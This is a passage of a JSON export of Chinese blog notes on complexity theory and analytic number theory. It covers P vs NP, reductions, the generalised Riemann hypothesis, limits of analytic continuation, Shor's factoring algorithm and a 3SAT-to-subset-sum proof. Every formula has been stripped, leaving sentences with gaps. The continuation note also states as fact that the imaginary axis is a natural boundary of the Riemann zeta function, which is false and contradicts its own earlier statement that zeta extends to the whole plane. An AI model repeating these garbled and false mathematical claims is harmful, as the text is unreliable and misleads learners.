，康瑞（Conrey, 1989）进一步提升至 。尽管距离黎曼猜想的完全解决仍有距离，但哈代的开创性工作已成为人类探索数学极限的典范。"},{"title":"","date":"2025-12-08T03:23:00.000Z","updated":"2025-12-08T05:18:00.000Z","comments":true,"path":"notes/Zeta/86.html","permalink":"https://blog.mhuig.top/notes/Zeta/86","excerpt":"","text":"P 对 NP 问题：计算复杂性的终极谜题 P 对 NP 问题：计算复杂性的终极谜题 问题背景与历史渊源P 对 NP 问题的起源可追溯至 20 世纪初希尔伯特的数学基础计划，该计划试图构建一个一致、完备且可判定的数学体系。1931 年，哥德尔不完备定理揭示了形式化数学推理的局限性，证明任何足够强大的公理系统都无法同时满足一致性和完备性。1936 年，图灵提出 “可计算性” 概念，通过图灵机模型将算法问题转化为数学对象，并证明存在不可判定问题（如停机问题），为计算复杂性理论奠定了基础。 20 世纪 60 年代，计算机科学家开始关注问题的 “求解效率” 而非 “是否可解”。1971 年，库克在论文《The complexity of theorem-proving procedures》中首次形式化定义了 P 与 NP 类，并证明布尔可满足性问题（SAT）是 NP 完全的，即任何 NP 问题都可多项式时间归约到 SAT。同年，苏联学者列文独立证明了类似结果，而卡普在 1972 年进一步证明了 21 个经典问题（如哈密顿路径、旅行商问题）的 NP 完全性，确立了 NP 完全问题的普适性。 这一发现揭示了一个深刻矛盾：为何许多可高效验证解的问题（如数独、密码破解）却找不到高效求解算法？P 对 NP 问题的核心即在于此：如果一个问题的解可在多项式时间内验证（NP），是否意味着它也可在多项式时间内求解（P）？ 核心定义与数学表述复杂性类 PP 类包含所有可由确定性图灵机在多项式时间内求解的问题。设问题输入规模为 ，则存在多项式 （ 为常数），使得求解算法的运行时间不超过 。例如，欧拉路径问题可通过 Hierholzer 算法在 时间内求解，故属于 P。 复杂性类 NPNP 类包含所有可由非确定性图灵机在多项式时间内求解的问题，或等价地，解可在多项式时间内验证的问题。非确定性图灵机的特点是在分支点可同时探索所有可能路径，故能 “猜测” 解并验证其正确性。例如，哈密顿路径问题的解（一条路径）可通过遍历节点在 时间内验证，故属于 NP。 NP 完全性与归约若问题 满足：（1） ；（2）所有 NP 问题均可多项式时间归约到 ，则称 为 NP 完全问题。 归约的形式化定义为：存在多项式时间算法 ，使得 是问题 的解当且仅当 是问题 的解。 库克 - 列文定理证明了 SAT 问题的 NP 完全性，其核心思想是构造一个多项式时间算法，将任意 NP 问题的验证过程编码为布尔公式，使得公式可满足当且仅当原问题有解。 P 对 NP 问题的数学表述形式化地，P 对 NP 问题等价于判定 是否成立，即： 若 ，则 NP 完全问题存在多项式时间算法；若 ，则 NP 完全问题本质上难解。 关键证明尝试与障碍早期方法：对角化与相对化图灵曾用对角化证明不可判定问题，研究者试图用类似方法证明 。例如，构造一个语言 ，使得 但 。然而，1975 年 Baker、Gill 和 Solovay 证明了相对化障碍：存在 oracles 和 ，使得 且 。这表明仅依赖图灵机枚举和模拟的对角化方法无法区分 P 与 NP。 电路复杂性与自然证明障碍电路复杂性将计算问题建模为布尔电路的最小规模（门数量）。若能证明 NP 完全问题的电路规模超多项式，则 。1985 年，Razborov 证明了单调电路（仅含 AND / OR 门）求解 NP 完全问题需要超多项式规模，但该结果无法推广到含 NOT 门的电路。 1994 年，Razborov 和 Rudich 提出自然证明障碍：若证明 的 “自然” 策略（即证明某个 NP 问题具有 “普适” 困难性）成立，则会导致密码学中伪随机数生成器的破解，与安全加密的存在性矛盾。这表明传统电路复杂性方法无法解决 P 对 NP 问题。 元复杂性与证明难度元复杂性研究 “证明复杂性本身” 的计算难度。例如，最小电路规模问题（MCSP）：给定真值表，判定其最小电路规模是否超过某阈值。Kabanets 证明 MCSP 与 P 对 NP 问题深度关联，若 MCSP 属于 P，则 。近期研究表明，MCSP 的 NP 完全性证明需要突破现有复杂性理论框架，暗示 的证明可能依赖元复杂性的新工具。 应用意义与哲学影响密码学基础现代密码学依赖 “单向函数”：易计算但难求逆（如大整数分解）。若 ，则单向函数不存在，RSA 等加密体系将崩溃。反之，若 ，则安全加密可能实现，但需证明其存在性。 人工智能与问题求解NP 完全问题在 AI 中广泛存在，如规划、机器学习中的特征选择等。若 ，AI 系统可高效解决这些问题，实现通用智能；若 ，则需依赖启发式算法（如遗传算法）在实践中逼近最优解。 数学推理的极限P 对 NP 问题与哥德尔不完备定理一脉相承，触及 “可认知性” 的本质。Impagliazzo 提出的 “五个世界” 模型指出，若 ，我们可能生活在 “启发之地”（大多数 NP 问题易解）或 “悲观之地”（所有 NP 问题难解），但现有证据更倾向于后者。 当前进展与开放问题尽管 P 对 NP 问题悬而未决，研究者已取得以下突破：算法方面，3 - SAT 问题的指数时间算法已优化至 ，但远未达到多项式复杂度。元复杂性方面，Ilango 证明了 MCSP 的某些变体是 NP 完全的，为 提供了间接证据。物理模型方面，Aaronson 探讨了量子计算与 NP 问题的关系，指出量子计算机可能无法解决 NP 完全问题，但可加速特定问题（如 Shor 算法分解大整数）。 核心挑战仍在于突破现有证明障碍：如何构造不依赖相对化、自然证明或代数化的新方法。“这里没有路线图，我们如同置身荒野。” 结语：难题的本质P 对 NP 问题不仅是数学谜题，更是对人类认知边界的拷问。若 ，世界将变得 “过于有序”，创造力与验证等价，数学证明可由计算机自动生成；若 ，则 “难题恒难”，人类智慧的独特价值得以保留。无论答案如何，探索过程已催生计算复杂性、密码学、元数学等多个学科的突破。 正如希尔伯特所言：“我们必须知道，我们必将知道。” 但在 P 对 NP 问题面前，这句话或许需要修正：知道的代价，可能远超我们的想象。 M67"},{"title":"","date":"2025-12-08T06:32:00.000Z","updated":"2025-12-08T06:33:00.000Z","comments":true,"path":"notes/Zeta/87.html","permalink":"https://blog.mhuig.top/notes/Zeta/87","excerpt":"","text":"广义化思维：从特殊到一般 广义黎曼猜想与 P 对 NP 问题的广义推广思维方式：从特殊到一般的数学升华 在数学研究中，将特定问题推广至更广泛框架的思维方式，往往能揭示深刻的内在联系。广义黎曼猜想（GRH）与 P 对 NP 问题的广义化研究正是这种思维的典范。两者均起源于对核心问题的自然延伸，通过引入新的数学结构，将原问题的内涵与外延大幅拓展，形成了横跨数论与理论计算机科学的重要研究方向。 广义黎曼猜想：从单一函数到全域特征黎曼猜想的原始框架1859 年，黎曼提出了关于 函数非平凡零点分布的著名猜想：所有非平凡零点均位于临界线 上。其数学表述为： 对于任意复数 ，若 且 ，则 这里 是黎曼 函数，定义为： 其中 狄利克雷 L 函数与广义化为研究等差数列中的素数分布，狄利克雷引入了 L 函数，将 函数推广至更一般的情形。对于模 的狄利克雷特征 ，L 函数定义为： 广义黎曼猜想断言：对于每个狄利克雷特征 ，其对应的 L 函数 的所有非平凡零点都位于临界线 上。这一推广将单变量函数的零点分布问题扩展到了整个特征系统，极大地丰富了原问题的数学内涵。 推广的深层意义GRH 的提出不仅是数学形式上的推广，更带来了数论研究的实质性进展。例如，在 GRH 假设下，Estermann 证明了每个大偶数都可表为一个素数与一个不超过 7 个素数的乘积之和（命题 1 + 7）。这一结果展示了广义化猜想在解决具体问题中的强大威力。 P 对 NP 问题的广义化：从判定问题到计算复杂性全域P 与 NP 的原始定义 类问题指存在多项式时间算法求解的判定问题，而 类问题则是指其解可以在多项式时间内验证的判定问题。 对 问题询问这两个集合是否相等，即是否所有 问题都有多项式时间算法。 NP 完全性与问题归约Cook 和 Levin 通过多项式时间归约概念，将 问题中的最难问题类定义为 完全问题（ ）。一个问题 A 被称为 完全，如果第一，A 属于 ；第二，所有 问题都能多项式时间归约到 A。这一广义化将单个问题的复杂性研究提升至问题类之间的关系层面，为计算复杂性理论奠定了基础。 计算复杂性的层级推广进一步的广义化研究导致了复杂性类的层级结构，如多项式谱系、PSPACE 等。这些推广不仅丰富了计算复杂性理论，还为解决实际问题提供了新视角。例如，Grid Coloring 问题被证明是 完全的，这一结果揭示了组合优化问题的内在难度。 两种广义化思维的深层联系从特殊到一般的抽象过程GRH 和 完全性理论均展现了从特殊到一般的抽象思维。黎曼猜想从单一的 函数推广到所有狄利克雷 L 函数，而 完全性则从特定问题推广到整个问题类的关系结构。两者都通过引入新的数学结构（狄利克雷特征和多项式归约），将原问题置于更广阔的数学框架中进行研究。 假设性推理的方法论GRH 和 假设都体现了假设性推理在数学研究中的重要作用。在 GRH 假设下，数学家们证明了许多数论结果，如 Estermann 的 1 + 7 定理。类似地，基于 的假设，计算机科学家发展了密码学、近似算法等重要应用。这种假设推论验证的研究模式，展现了数学研究的一种重要方法论。 跨领域的深刻影响两种广义化思维都产生了跨领域的深远影响。GRH 不仅对数论至关重要，还影响了代数几何、调和分析等领域。 完全性理论则为计算机科学、运筹学、人工智能等提供了理论基础。这种广泛影响体现了深刻数学思想的普适性。 结论：广义化思维的数学价值广义黎曼猜想与 P 对 NP 问题的广义化研究，展示了数学中从特殊到一般的强大思维模式。通过引入新的数学结构和概念框架，这些推广不仅深化了对原问题的理解，还开辟了全新的研究领域。它们的发展历程告诉我们，数学的进步往往源于将特定问题置于更广阔的背景下审视的勇气和智慧。 在未来的研究中，这种广义化思维无疑将继续发挥重要作用。无论是数论中的朗道西格尔零点猜想，还是计算复杂性中的量子计算模型，都体现了这种思维方式的持续影响。对于数学家和计算机科学家而言，培养从特殊到一般的抽象能力，将是推动学科发展的关键素养。 这两种广义化思维的交汇点，或许正是未来突破重大数学难题的关键所在。正如 GRH 将数论问题带入复分析领域， 完全性将算法问题提升到逻辑层面，未来的数学突破很可能诞生于不同学科思维的碰撞与融合之中。"},{"title":"","date":"2025-11-11T00:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/85.html","permalink":"https://blog.mhuig.top/notes/Zeta/85","excerpt":"","text":"解析延拓的局限性 解析延拓的局限性 解析延拓作为复分析的核心工具，其本质是利用全纯函数的刚性定理，即函数在任意小邻域的取值完全决定其整体性质，来突破初始定义域的限制。然而这种延拓能力并非无限，从黎曼 函数无法跨越虚轴的自然边界，到对数函数因分支点导致的多值困境，解析延拓始终受到奇点分布、路径拓扑与定义域结构的三重制约。这些局限性不仅揭示了复变函数的深层矛盾，更催生了黎曼曲面、单值性定理等重要数学概念的诞生。 历史背景与核心矛盾的起源19 世纪初，数学家们在处理特殊函数时首次遭遇延拓困境。欧拉将阶乘函数从正整数推广至实数域时发现，积分表达式 仅在右半平面 收敛，但通过递推关系 可将其定义域延拓至除负整数外的全复平面。这一过程虽成功跨越了部分奇点，却留下了无法填补的离散孔洞，非正整数点永远无法被包含进定义域，成为解析延拓最早的 “失地”。 真正的理论危机出现在黎曼 1859 年关于 函数的研究中。他发现原本定义于 的级数 可通过函数方程 延拓至全复平面，但这一延拓在虚轴附近遭遇了前所未有的障碍。后来的 Landau Walfisz 定理严格证明：对于任意实数 和正数 ，区域 内必含 函数的奇点，这使得虚轴成为无法逾越的自然边界。这种边界并非由孤立奇点构成，而是由无穷多个凝聚态奇点形成的连续屏障，彻底阻断了函数向左侧半平面的延拓路径。 奇点分布：从离散障碍到连续边界解析延拓的首要障碍来自函数奇点的几何分布。根据复分析基本定理，幂级数的收敛半径由其主导奇点决定，即离展开中心最近的奇点到中心的距离。若收敛圆周上存在至少一个奇点，延拓就无法在该方向继续；而当整个收敛圆周都布满奇点时，函数将完全丧失延拓能力。 本性奇点的不可逾越性本性奇点对延拓构成最严格的阻碍。函数 在原点邻域的洛朗展开为 ，其在原点处呈现出无限震荡特性，通过不同路径逼近奇点时，函数值可以趋向任意复数。这种行为使得任何包含原点的区域都无法成为延拓定义域的一部分。即便对于可去奇点或极点，虽然可以通过重新定义函数值，如 在原点处定义为 1，来消除孤立奇点，但对于伽马函数 非正整数点处的极点，延拓只能绕过这些离散点而无法将其包含。 自然边界的构造性证明Weierstrass 最早构造出收敛圆周即为自然边界的幂级数实例。考虑 ，其收敛半径显然为 1，但在单位圆周 上的代数点处，函数值会趋向无穷。以 ，其中 为整数，为例，当 时， ，导致部分和 在 时发散至无穷。这种在稠密点集上的发散性，使得单位圆周上每一点都是奇点，从而形成不可跨越的自然边界。 更令人惊讶的是，此类不可延拓幂级数的项可以任意稀疏。给定严格递增正整数列 满足 ，总存在 使得 无法解析延拓。这表明级数的延拓能力与其收敛速度无关，而取决于系数序列的算术性质，当指数增长足够不规则时，收敛圆周必然成为自然边界。 路径拓扑与多值性困境解析延拓的路径依赖性本质上是复平面拓扑缺陷的产物。当延拓路径环绕分支点时，函数值可能出现不一致，这种现象被称为单值性破坏。对数函数 的经典案例展现了这一困境：从 出发沿正向环绕原点一周后，函数值增加 ，导致同一点出现多个函数值。 单值性定理的拓扑约束单值性定理给出了延拓唯一性的严格条件：若函数在单连通区域内解析且两条延拓路径同伦，即可连续变形而不穿越奇点，则延拓结果必定相同。这一定理揭示了解析延拓对定义域拓扑的深刻依赖，在复连通区域，如含孔洞的区域中，即使避开所有奇点，延拓结果仍可能依赖路径选择。例如在环形区域 中定义的函数，沿顺时针与逆时针路径环绕中心孔洞后，可能得到不同的解析表达式。 黎曼通过引入黎曼曲面解决了这一矛盾。将 的定义域构造为两张沿负实轴粘连的复平面，每张面上的分支都是单值解析的，但在原始复平面上却表现为多值。这种构造虽然形式上恢复了单值性，却也承认了解析延拓在原始复平面上的本质局限，没有万能定义域能适配所有多值函数的延拓需求。 分支点的几何阻碍分支点作为特殊类型的奇点，其阻碍机制可通过留数定理严格证明。考虑对数函数在分支点 附近的行为，设其在割去负实轴的区域 内解析，若存在包含负实轴上点 的邻域 使得延拓后的函数 ，则必有 在 内解析。但沿以 为中心的小圆周积分可得： 这与柯西积分定理矛盾，从而证明负实轴上的点无法被包含进解析定义域。这种障碍本质上源于分支点周围路径的非平凡拓扑，环绕分支点的闭曲线无法通过连续变形缩为一点，导致延拓过程积累了不可消除的相位差。 定义域结构的刚性约束解析延拓要求原始定义域与目标区域存在非空交集，且在交集中函数值完全一致。这一基本要求排除了对孤立点集的延拓可能，即使已知函数在稠密点集上的取值，也未必能唯一确定其解析延拓。 离散点集的延拓不可能性仅给定函数在整数点的取值无法确定其解析延拓，这可通过插值问题说明。存在无穷多个整函数在所有整数点取值相同，如 与 ，这表明离散数据缺乏足够的刚性来固定解析表达式。即使对于具有明确递推关系的函数，如伽马函数的阶乘性质 ，也必须依赖积分表达式才能实现延拓，而这已超出离散点集的信息范畴。 区域连通性的拓扑枷锁定义域的连通性对延拓至关重要。若原始定义域由多个互不相交的开集组成，延拓可能在各分支独立进行，导致整体函数不唯一。例如在两个分离的圆盘内分别定义解析函数，即使它们在各自区域内解析，也无法通过延拓合并为单函数。这种碎片化限制使得解析延拓本质上是区域性操作，函数在一个连通分支的行为无法影响另一个分支，除非两者通过某种拓扑结构相连，如黎曼曲面的层叠结构。 Weierstrass 和黎曼对解析延拓的理解差异深刻反映了这一约束。Weierstrass 将解析函数视为可延拓元素的集合，其中任何两个元素可通过延拓链连接；而黎曼则通过提升定义域维度，构造黎曼曲面，来实现单值化。两种观点共同表明：解析延拓的可能性完全由定义域的拓扑性质决定，而非函数的代数表达式。 理论突破与哲学启示解析延拓的局限性催生了 20 世纪数学的多项重大进展。黎曼曲面通过将多值函数重构为高维流形上的单值函数，完美解决了路径依赖问题；层论，Sheaf Theory，则将局部解析函数的延拓性质抽象为拓扑空间上的层结构，为复几何提供了统一语言。这些发展揭示了一个深刻哲理：当原始框架无法容纳某种数学对象时，提升空间维度往往是突破困境的有效途径。 从实际应用角度看，理解这些局限性具有重要价值。在解析数论中， 函数的自然边界限制了其在临界带左侧的分析，直接影响了黎曼假设的研究路径；在物理领域，量子场论中的解析延拓必须严格规避分支点，否则会导致计算结果的不一致。解析函数的本质是其局部展开与整体拓扑的统一，解析延拓的局限性恰恰成为连接局部分析与整体几何的桥梁。 这些约束条件，从自然边界的不可逾越，到分支点导致的多值性，再到定义域拓扑的根本制约，共同构成了复分析的内在逻辑。它们不是理论的缺陷，而是数学结构自我协调的必然结果，提醒着我们：任何推广都有其边界，而理解这些边界往往比追求无限制的延拓更为重要。"},{"title":"","date":"2025-12-08T08:32:00.000Z","updated":"2025-12-08T08:33:00.000Z","comments":true,"path":"notes/Zeta/88.html","permalink":"https://blog.mhuig.top/notes/Zeta/88","excerpt":"","text":"问题的归约 问题归约：连接 P 与 NP 世界的逻辑桥梁 在计算复杂性理论的核心问题 “ 对 ” 中，多项式时间归约（Polynomial-Time Reduction）是揭示问题内在难度关联的关键工具。它通过将一个问题的求解转化为另一个问题的求解，建立起 问题之间的 “难度序”，最终指向 完全问题（ ）这一核心概念。若能找到任意 问题的多项式时间算法，所有 问题都将被证明属于 类，从而直接解决 “ ? ” 这一世纪难题。 历史渊源：从图灵机到计算历史归约问题归约的思想可追溯至 20 世纪 30 年代图灵对可计算性的研究，但现代形式的多项式时间归约诞生于 1971 年。当时，Stephen Cook 通过计算历史归约（History of Computation）证明了布尔可满足性问题（ ）是 完全的。其核心思想是将非确定性图灵机（ ）的计算过程编码为逻辑公式：若 接受某个输入，则存在一条对应的计算路径（即 “计算历史”），而这条路径可被转化为 公式的可满足赋值。 这一证明框架随后被 Richard Karp 推广，他在 1972 年证明了 21 个经典问题（如哈密顿回路、顶点覆盖）的 完全性，均通过多项式时间归约到 实现。从此，归约成为复杂度理论的通用语言，甚至启发了量子计算中的类似方法，例如 Kitaev 将量子线路演化编码为局部哈密顿量问题，证明了 - 局部哈密顿量问题（ ）是 完全的，这正是 Cook-Levin 定理的 “量子化” 版本。 定义与数学基础：多项式时间可归约性多项式时间归约的严格定义如下：对于判定问题 和 ，若存在多项式时间算法 ，使得对任意输入 ， 的答案为 “是” 当且仅当 的答案为 “是”，则称 可多项式时间归约到 ，记作 。这一定义包含两个核心条件： 第一个条件是变换效率： 的计算时间必须为输入规模 的多项式函数（例如 ）。 第二个条件是答案一致性：原问题与归约后的问题等价，即 。 规约的数学本质是建立从 的实例集合到 的实例集合的保真性映射。例如，将 问题归约到图的独立集问题时，每个子句（如 ）被转化为图中的一个顶点团，变量赋值对应独立集的选取。 核心技术：三种经典规约方法第一种是构造性归约：从 到 问题以 到 （最大团）的归约为例，具体步骤如下： 输入变换：给定 公式 ，其中每个子句 含 3 个文字（如 或 ）。构造图 ，每个子句 对应一组 3 个顶点（每个顶点代表一个文字），不同子句的顶点间若文字不冲突（如 和 不能同时出现）则连边。 参数对应：令 （子句数），则 可满足当且仅当 中存在大小为 的团。 复杂度分析：图 的顶点数为 ，边数为 ，构造时间为 ，满足多项式条件。 第二种是计算历史归约：Cook-Levin 定理的核心。Cook-Levin 定理通过编码 的计算过程证明 是 完全的，其归约步骤为： 配置编码： 的一个配置（Configuration）包括状态、读写头位置和纸带内容，可编码为长度为 的字符串（ 为输入规模）。 演化约束：相邻配置间的转换需满足局部规则（如纸带符号的修改仅依赖当前状态和读写头位置），这些规则被转化为 子句。例如，若第 步纸带第 位为 ，第 步变为 ，则需添加子句确保这一变化符合转移函数。 初始与终止条件：编码初始配置（输入串）和终止状态（接受状态），最终得到的 公式可满足当且仅当 接受输入。 第三种是优化问题到判定问题的归约。许多 问题最初以优化形式出现（如旅行商问题 ），需先转化为判定问题再进行规约。例如： 优化问题：寻找访问 个城市的最短回路； 判定问题：给定整数 ，是否存在总长度 的回路； 归约方法：对优化问题的任意实例，通过二分查找 值，将其转化为多项式次判定问题调用。 数学性质与传递性：构建 NP 完全问题的 “难度网络”规约关系具有传递性：若 且 ，则 。这一性质使得 完全问题形成一个封闭集合，所有 问题都可归约到任意 问题，而 问题之间也可相互归约。例如： 顶点覆盖 哈密顿回路 这种传递性为证明新问题的 完全性提供了捷径：只需将一个已知 问题归约到目标问题，且证明目标问题属于 即可。 应用与意义：从理论到实践第一，算法设计：若问题 且 有多项式时间算法，则 也有多项式时间算法。例如，若证明 “图着色问题 ”，则可直接用 的线性时间算法求解图着色问题（但实际上图着色是 问题，故该归约不可能成立）。 第二，密码学：若 ，则 问题的 “单向性” 可用于构建安全加密方案。例如， 加密依赖大整数分解问题的难解性，而该问题虽未被证明为 ，但被推测为 难。 第三，量子计算：规约思想的延伸推动了量子复杂性类研究。如 Kitaev 将量子线路演化归约为局部哈密顿量问题，证明了 完全性，为量子算法的难度分析提供了工具。 未决挑战与前沿方向尽管规约理论已发展成熟，但 “ ? ” 的核心问题仍悬而未决。当前研究聚焦于： 规约的局限性：是否存在无法被多项式时间规约的 问题？ 量子归约：量子计算中的 “ 完全性” 归约是否存在独特结构？ 元复杂性：证明 “ ” 本身的难度是否可被归约为某个复杂度类问题？ 这些问题的答案，或许就隐藏在归约方法尚未触及的数学深处。 结语：归约，连接可能与不可能的桥梁问题归约不仅是复杂度理论的技术工具，更揭示了计算问题间的深刻关联。它让我们意识到， 完全问题如同一个 “大家族”，共享着相同的 “计算基因”。若未来某一天，有人找到其中一个问题的多项式算法，整个 世界将随之崩塌；反之，若能证明任一 问题不存在多项式算法，则 “ ” 尘埃落定。而在此之前，归约仍将是我们探索计算边界的指路明灯。 附录"},{"title":"","date":"2025-11-08T08:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/82.html","permalink":"https://blog.mhuig.top/notes/Zeta/82","excerpt":"","text":"不知名的碎片 10 不知名的碎片 10 第一个式子来自之前关于 Zeta 函数部分和通项的文章 第二个式子来自之前关于 π 无理性证明的文章 笔者将这两个式子放在这里，是因为这两个式子形式上令人惊讶的相似性。仿佛他们就是一家人，来自同一个快乐大家族。也许他们之间存在的关联就像魔群月光一样可望而不可即，也许他们之间没什么关系，只是笔者的一厢情愿。 朗兰兹纲领指出：数论、代数几何和群表示论是密切相关的。 如果第一个式子与 Zeta 函数相关代表数论，第二个式子与圆周率相关代表几何，那么推测出在群论中也能找到这样的形式属于同一个快乐大家族。 遗憾的是笔者暂未找到这一缺失的拼图。 Tips 变量替换与积分化简令 （即 ， ），积分区间变为 ，且 。代入后化简得： 即：这一形式与埃尔米特（Hermite）1873 年研究的贝塞尔函数积分表示高度相似。贝塞尔函数 的泊松积分公式为： 对比可知，当 时 可表示为贝塞尔函数的显式形式： 如果令 则这揭示了该积分与特殊函数的深层联系，也印证了尼文证明中积分构造的数学根源。… 经过一通乱炖变形发现：第一个式子与伽马函数有关联，而第二个式子与贝塞尔函数有关联。他们都是特殊函数，这中间一定有问题。那么群论或者群表示论又能和哪个特殊函数有关？ 难道每个特殊函数都会对应一个数学分支？"},{"title":"","date":"2025-12-08T08:42:00.000Z","updated":"2025-12-08T08:43:00.000Z","comments":true,"path":"notes/Zeta/89.html","permalink":"https://blog.mhuig.top/notes/Zeta/89","excerpt":"","text":"Shor 算法 Shor 算法：量子计算对整数分解的革命性突破 1994 年，Peter Shor 提出的量子分解算法彻底改变了密码学与计算复杂性理论的格局。该算法将经典计算机上的指数级困难问题转化为量子计算机上的多项式时间问题，其核心在于通过量子相位估计（QPE）高效求解模周期问题，进而实现大整数的质因数分解。这一突破直接威胁到基于 RSA 加密的现代信息安全体系，同时为量子优越性提供了首个严格证明。 历史背景：从经典困局到量子突破在经典计算模型中，整数分解问题（如将 1024 位合数分解为质因数）的复杂度随输入规模呈亚指数增长，最佳算法（数域筛法）复杂度为 ，这使得破解 2048 位 RSA 密钥在现有超级计算机上需数千年。Shor 的开创性贡献在于，他证明了量子计算机可通过量子相位估计和经典连分数算法的结合，将分解复杂度降至 ，这一多项式复杂度的飞跃为密码学带来颠覆性挑战。 核心原理：问题转化与量子加速Shor 算法的本质是将整数分解问题转化为模周期寻找问题（Order Finding），其数学逻辑如下： 分解问题转化为周期问题：给定合数 ，随机选取 且 ，定义函数 。若能找到 的最小正周期 （即 ），则若 为偶数且 ，则 必为 的非平凡因子。 示例：分解 ，取 ，计算得 的周期 。因 为偶数， ，则 ， ，即得因子 3 和 7。 周期问题的量子求解：量子相位估计（QPE）周期 的求解是算法的量子核心，依赖于对幺正算符 的相位估计。定义 ，其本征态为 ，对应的本征值为 （ ）。 QPE 通过以下步骤估计相位 ： 第一步，初始化寄存器：周期寄存器（ 个量子比特）初始化为均匀叠加态 。计算寄存器（ 个量子比特）初始化为 （因 ，即所有本征态的叠加）。 第二步，量子傅里叶变换（QFT）与相位提取：对周期寄存器执行逆 QFT，通过干涉效应将相位 编码到寄存器中。测量后得到 ，即 。 第三步，经典连分数算法：对 应用连分数展开，求得最简分数 ，进而得到周期 。 详细推导：量子相位估计算法幺正算符 的构造： 需实现模乘法 ，其电路复杂度为 。以 、 为例， ，可通过受控加法器和模运算实现。 相位估计的量子电路：QPE 电路包含两个寄存器：周期寄存器（ 个量子比特）提供相位精度，如分解 需 比特。计算寄存器（ 个量子比特）存储 的叠加态。 步骤： 第一步，对周期寄存器施加 Hadamard 门，生成叠加态： 第二步，应用受控幺正变换 ，通过相位反弹将相位编码到周期寄存器： 第三步，对周期寄存器执行逆 QFT，测量得到 ，满足 。 连分数算法求周期 ：对 展开连分数，例如若 ，则 。连分数算法的关键在于，若 ，则 必为 的收敛子。 实现挑战与优化方案Shor 算法的实验实现受限于量子硬件的量子比特数量和相干时间。以 IBM ibmqx5 超导量子处理器为例，其 16 个量子比特的连接拓扑需通过以下优化实现分解： 半经典 QFT（sc-QFT）：Kitaev 提出用单量子比特多次测量替代多比特 QFT，将周期寄存器的 个量子比特减少为 1 个，通过经典反馈控制实现相位累积。例如分解 仅需 5 个量子比特。 模块化 exponentiation 电路简化：模指数运算 可分解为 个模乘法，每个乘法通过 QFT-based 加法器实现。例如 ，通过反复平方降低电路深度。 错误抑制与验证：实验中通过统计重叠平方（SSO）量化测量分布与理论分布的相似度。例如分解 时，SSO 为 0.78 对应周期 ，错误概率仅 0.1%。 实验验证与应用前景小规模验证：2019 年，IBM 团队在 ibmqx5 处理器上成功分解 ，其中 的成功率为 14%，受限于两量子比特门噪声。密码学影响：Shor 算法直接威胁 RSA、ECC 等公钥密码系统，推动后量子密码学（如格基密码、哈希签名）的发展。量子计算里程碑：作为首个实现量子优越性的算法，Shor 算法为量子化学模拟、优化问题等领域提供了范式迁移。 结论：量子计算的范式跃迁Shor 算法的核心在于量子干涉与经典数学的融合：通过量子叠加并行探索指数级可能的周期，再通过经典算法提取关键信息。尽管当前量子硬件仍需突破噪声和可扩展性瓶颈，但该算法已从理论上证明了量子计算的颠覆性潜力。未来，随着容错量子计算机的实现，Shor 算法将不仅重塑密码学，更将推动人类对复杂系统的认知边界。"},{"title":"","date":"2025-12-08T09:02:00.000Z","updated":"2025-12-08T09:23:00.000Z","comments":true,"path":"notes/Zeta/90.html","permalink":"https://blog.mhuig.top/notes/Zeta/90","excerpt":"","text":"子集和问题的 NPC 属性证明 子集和问题的 NPC 属性证明：从 3SAT 到整数集合的多项式时间归约 背景与定义：计算复杂性理论的核心问题在计算复杂性理论中，NP 完全问题（NPC）代表了一类特殊的决策问题：它们既是 NP 问题（能在多项式时间内验证解），又能通过多项式时间归约接收所有 NP 问题的实例。1972 年，Karp 证明了 21 个经典问题的 NPC 属性，其中子集和问题（Subset Sum）因其简洁的表述和广泛的应用成为重要成员。子集和问题的形式化定义为：给定正整数集合 和目标值 ，是否存在非空子集 使得 ？ 证明子集和问题为 NPC 的标准路径是从 3SAT 问题规约。3SAT 问题要求判定一个 3 合取范式（3 - CNF）公式是否存在可满足赋值，其中每个子句包含 3 个文字（变量或其否定）。由于 3SAT 是已知的 NPC 问题，若能构造多项式时间的映射 ，将 3SAT 实例转化为子集和实例，且保持解的等价性，则子集和问题的 NPC 属性得证。 规约框架：数字编码与约束构造归约的核心思想是用整数的二进制位编码逻辑变量的赋值状态，并通过数位约束模拟子句的可满足性。具体分为三个步骤：变量编码、子句约束和填充元素。变量编码是指为每个布尔变量 设计两个整数 和 ，通过特定数位确保二者中恰好选择一个，对应变量的真或假赋值。子句约束是指为每个子句 分配独立的数位，确保所选变量对应的整数在该数位上的和至少为 1，即子句中存在真文字。填充元素是指通过额外整数修正子句数位的和，使其恰好等于目标值的对应数位，消除冗余解空间。 详细构造：从逻辑变量到整数集合设 3SAT 实例包含 个变量 和 个子句 。构造的子集和实例将包含 个整数，目标值 为 位整数（实际实现中可通过十进制数位分离，避免二进制进位干扰）。 变量数位：确保二选一赋值变量位设计：将整数的前 个数位（称为变量位）分配给变量。对于变量 ，整数 在第 个变量位为 1，其余变量位为 0；整数 在第 个变量位为 1，其余变量位为 0；目标值 的前 个变量位均为 1。 例如，若 ，则 ， ，且 的前三位为 。此时，若从集合 中选择恰好一个，则变量位的和恰为 ，满足目标约束；若选择 0 个或 2 个，则无法满足，从而强制每个变量必须赋值。 子句数位：模拟逻辑析取子句位设计：将接下来的 个数位（称为子句位）分配给子句。对于子句 （其中 为文字），若 （变量 为真），则 在第 个子句位为 1；若 （变量 为假），则 在第 个子句位为 1；目标值 的第 个子句位设为 3（需结合填充元素修正）。 例如，子句 对应第 1 个子句位： 、 、 的该位均为 1，其余变量的整数该位为 0。此时，若变量赋值使子句为真，则至少有一个对应整数的子句位为 1，该位的和 。 填充元素：修正子句位和为 3由于子句位的和 可能为 1、2 或 3（对应子句中 1、2 或 3 个文字为真），需引入填充元素将其修正为目标值 3。为每个子句 添加两个填充整数 和 ，二者在第 个子句位均为 1，其他数位为 0；目标值 的子句位设为 3，因此 （其中 为填充元素在第 位的和，取值为 0、1 或 2）。 例如，若子句位和 ，则需选择两个填充元素（ ）；若 ，选择一个填充元素（ ）；若 ，不选填充元素（ ）。这确保了只有当子句可满足时（ ），才能通过填充元素组合使总和等于 。 正确性证明：双向等价性验证正向：3SAT 解导出子集和解设 3SAT 实例存在满足赋值 。构造子集 如下：对每个变量 ，若 ，选择 ；否则选择 ；对每个子句 ，设 为所选变量整数在第 子句位的和（ ），选择 个填充元素 。 此时，变量位的和为 ，子句位的和为 ，总 ，即 是子集和解。 反向：子集和解导出 3SAT 解设子集和实例存在解 。由于变量位的约束， 中恰好包含每个变量的一个整数（ 或 ），定义赋值 当且仅当 